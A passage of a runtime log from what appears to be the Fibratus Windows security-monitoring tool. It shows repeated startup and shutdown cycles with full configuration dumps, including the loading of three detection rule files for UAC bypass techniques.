flush-period=>1s] eventlog=>[ enabled=>false level=>info] amqp=>[ vhost=>/ routing-key=>fibratus exchange-type=>topic durable=>false timeout=>5s delivery-mode=>transient passive=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange=>fibratus enabled=>false] http=>[ enable-gzip=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false endpoints=>[] method=>POST enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ enabled=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-allocs=>false excluded-files=>[] fastscan=>true scan-timeout=>10s skip-mmaps=>false enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T17:00:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:00:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:00:44+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T17:00:44+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:00:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:00:55+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T17:00:55+01:00 level=info msg=bootstrapping with pid 20460. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T17:00:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ stack-enrichment=>true enable-net=>true enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-vamap=>true enable-audit-api=>true flush-interval=>1s enable-image=>true enable-fileio=>true enable-dns=>false min-buffers=>16 enable-registry=>true buffer-size=>512 enable-threadpool=>false enable-thread=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-backups=>15 formatter=>text max-age=>0 log-stdout=>true max-size=>100] + output ......................... [ elasticsearch=>[ sniff=>false bulk-workers=>1 template-name=>fibratus healthcheck=>true healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] gzip-compression=>false trace-log=>false healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s enabled=>false timeout=>5s] eventlog=>[ level=>info enabled=>false] http=>[ endpoints=>[] enable-gzip=>false serializer=>json timeout=>5s enabled=>false method=>POST tls-insecure-skip-verify=>false] amqp=>[ durable=>false exchange=>fibratus timeout=>5s exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/ url=>amqp://localhost:5672 delivery-mode=>transient passive=>false enabled=>false routing-key=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-registry=>false enabled=>false skip-files=>false skip-mmaps=>false fastscan=>true excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T17:00:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:00:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:02:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T17:02:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:02:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:02:13+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T17:02:13+01:00 level=info msg=bootstrapping with pid 11280. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T17:02:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ content-type=>text/html port=>25 enabled=>false use-template=>true to=>[]] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false min-buffers=>16 max-buffers=>36 enable-vamap=>true enable-thread=>true buffer-size=>512 enable-net=>true enable-registry=>true enable-threadpool=>false flush-interval=>1s enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-image=>true enable-dns=>false enable-mem=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info formatter=>text max-backups=>15 max-size=>100 max-age=>0] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ timeout=>5s method=>POST enabled=>false serializer=>json enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck-timeout=>5s trace-log=>false bulk-workers=>1 healthcheck-interval=>10s template-name=>fibratus servers=>[http://127.0.0.1:9200] enabled=>false flush-period=>1s timeout=>5s index-name=>fibratus healthcheck=>true gzip-compression=>false sniff=>false] amqp=>[ routing-key=>fibratus passive=>false exchange=>fibratus timeout=>5s url=>amqp://localhost:5672 tls-insecure-skip-verify=>false delivery-mode=>transient vhost=>/ enabled=>false durable=>false exchange-type=>topic]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false enabled=>false scan-timeout=>10s skip-mmaps=>false excluded-files=>[] skip-allocs=>false skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-26T17:02:13+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:02:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:03:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T17:03:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:03:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:03:42+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T17:03:42+01:00 level=info msg=bootstrapping with pid 5832. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T17:03:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true to=>[] port=>25 content-type=>text/html] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 buffer-size=>512 enable-handle=>false min-buffers=>16 enable-fileio=>true enable-audit-api=>true enable-dns=>false enable-vamap=>true enable-image=>true enable-registry=>true enable-mem=>false flush-interval=>1s enable-thread=>true stack-enrichment=>true enable-net=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 log-stdout=>true max-backups=>15 level=>info max-age=>0] + output ......................... [ elasticsearch=>[ index-name=>fibratus gzip-compression=>false healthcheck-interval=>10s bulk-workers=>1 sniff=>false trace-log=>false servers=>[http://127.0.0.1:9200] timeout=>5s template-name=>fibratus enabled=>false healthcheck=>true flush-period=>1s healthcheck-timeout=>5s] http=>[ serializer=>json method=>POST endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s enabled=>false] amqp=>[ passive=>false url=>amqp://localhost:5672 vhost=>/ enabled=>false routing-key=>fibratus timeout=>5s durable=>false delivery-mode=>transient exchange-type=>topic tls-insecure-skip-verify=>false exchange=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-mmaps=>false excluded-files=>[] skip-files=>false enabled=>false scan-timeout=>10s skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T17:03:42+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:03:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:03:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T17:03:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:03:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:04:34+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T17:04:34+01:00 level=info msg=bootstrapping with pid 10856. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T17:04:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ content-type=>text/html to=>[] enabled=>false port=>25 use-template=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-threadpool=>false enable-vamap=>true max-buffers=>36 flush-interval=>1s enable-registry=>true min-buffers=>16 enable-handle=>false enable-mem=>false enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true enable-image=>true enable-fileio=>true stack-enrichment=>true buffer-size=>512 enable-audit-api=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 max-backups=>15 formatter=>text level=>info log-stdout=>true] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] amqp=>[ exchange=>fibratus durable=>false delivery-mode=>transient tls-insecure-skip-verify=>false vhost=>/ enabled=>false timeout=>5s passive=>false url=>amqp://localhost:5672 exchange-type=>topic routing-key=>fibratus] http=>[ enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false method=>POST serializer=>json timeout=>5s enabled=>false] elasticsearch=>[ index-name=>fibratus template-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s flush-period=>1s bulk-workers=>1 enabled=>false trace-log=>false healthcheck=>true timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false healthcheck-interval=>10s] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false enabled=>false skip-allocs=>false fastscan=>true scan-timeout=>10s excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-mmaps=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T17:04:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:04:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:04:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T17:04:45+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:04:46+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:05:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T17:05:59+01:00 level=info msg=bootstrapping with pid 12924. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T17:05:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true to=>[] port=>25 content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ stack-enrichment=>true enable-thread=>true enable-threadpool=>false enable-dns=>false flush-interval=>1s enable-image=>true enable-handle=>false enable-audit-api=>true enable-vamap=>true buffer-size=>512 enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-mem=>false enable-net=>true enable-fileio=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-size=>100 max-backups=>15 level=>info max-age=>0 log-stdout=>true] + output ......................... [ http=>[ endpoints=>[] enabled=>false serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s] elasticsearch=>[ servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-interval=>10s healthcheck-timeout=>5s gzip-compression=>false index-name=>fibratus sniff=>false timeout=>5s healthcheck=>true flush-period=>1s bulk-workers=>1 template-name=>fibratus trace-log=>false] amqp=>[ exchange=>fibratus passive=>false delivery-mode=>transient routing-key=>fibratus durable=>false enabled=>false vhost=>/ tls-insecure-skip-verify=>false timeout=>5s exchange-type=>topic url=>amqp://localhost:5672] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-files=>false skip-mmaps=>false excluded-files=>[] skip-allocs=>false fastscan=>true excluded-procs=>[] scan-timeout=>10s enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T17:06:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:06:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:06:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T17:06:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:06:14+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:06:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T17:06:22+01:00 level=info msg=bootstrapping with pid 6456. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T17:06:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false to=>[] use-template=>true port=>25 content-type=>text/html] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false min-buffers=>16 enable-registry=>true enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true flush-interval=>1s buffer-size=>512 enable-threadpool=>false enable-image=>true enable-audit-api=>true enable-fileio=>true enable-net=>true max-buffers=>36 enable-mem=>false stack-enrichment=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text log-stdout=>true level=>info max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ http=>[ tls-insecure-skip-verify=>false timeout=>5s serializer=>json endpoints=>[] method=>POST enabled=>false enable-gzip=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ flush-period=>1s enabled=>false healthcheck=>true template-name=>fibratus sniff=>false bulk-workers=>1 index-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s timeout=>5s] amqp=>[ vhost=>/ url=>amqp://localhost:5672 timeout=>5s routing-key=>fibratus exchange-type=>topic durable=>false delivery-mode=>transient enabled=>false passive=>false tls-insecure-skip-verify=>false exchange=>fibratus]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-files=>false excluded-procs=>[] skip-mmaps=>false skip-registry=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T17:06:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:06:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:06:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T17:06:40+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:06:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:13:45+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T17:13:45+01:00 level=info msg=bootstrapping with pid 12184. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T17:13:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-net=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-handle=>false min-buffers=>16 enable-fileio=>true enable-dns=>false enable-thread=>true enable-registry=>true stack-enrichment=>true enable-image=>true flush-interval=>1s enable-audit-api=>true max-buffers=>36 enable-threadpool=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-backups=>15 max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s gzip-compression=>false sniff=>false timeout=>5s healthcheck-interval=>10s trace-log=>false template-name=>fibratus flush-period=>1s healthcheck=>true enabled=>false index-name=>fibratus] http=>[ serializer=>json enable-gzip=>false endpoints=>[] enabled=>false timeout=>5s tls-insecure-skip-verify=>false method=>POST] amqp=>[ routing-key=>fibratus durable=>false passive=>false vhost=>/ tls-insecure-skip-verify=>false exchange-type=>topic timeout=>5s delivery-mode=>transient url=>amqp://localhost:5672 exchange=>fibratus enabled=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-files=>[] skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-mmaps=>false fastscan=>true skip-registry=>false scan-timeout=>10s skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T17:13:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:13:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:43:59+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T17:43:59+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:43:59+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:44:53+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 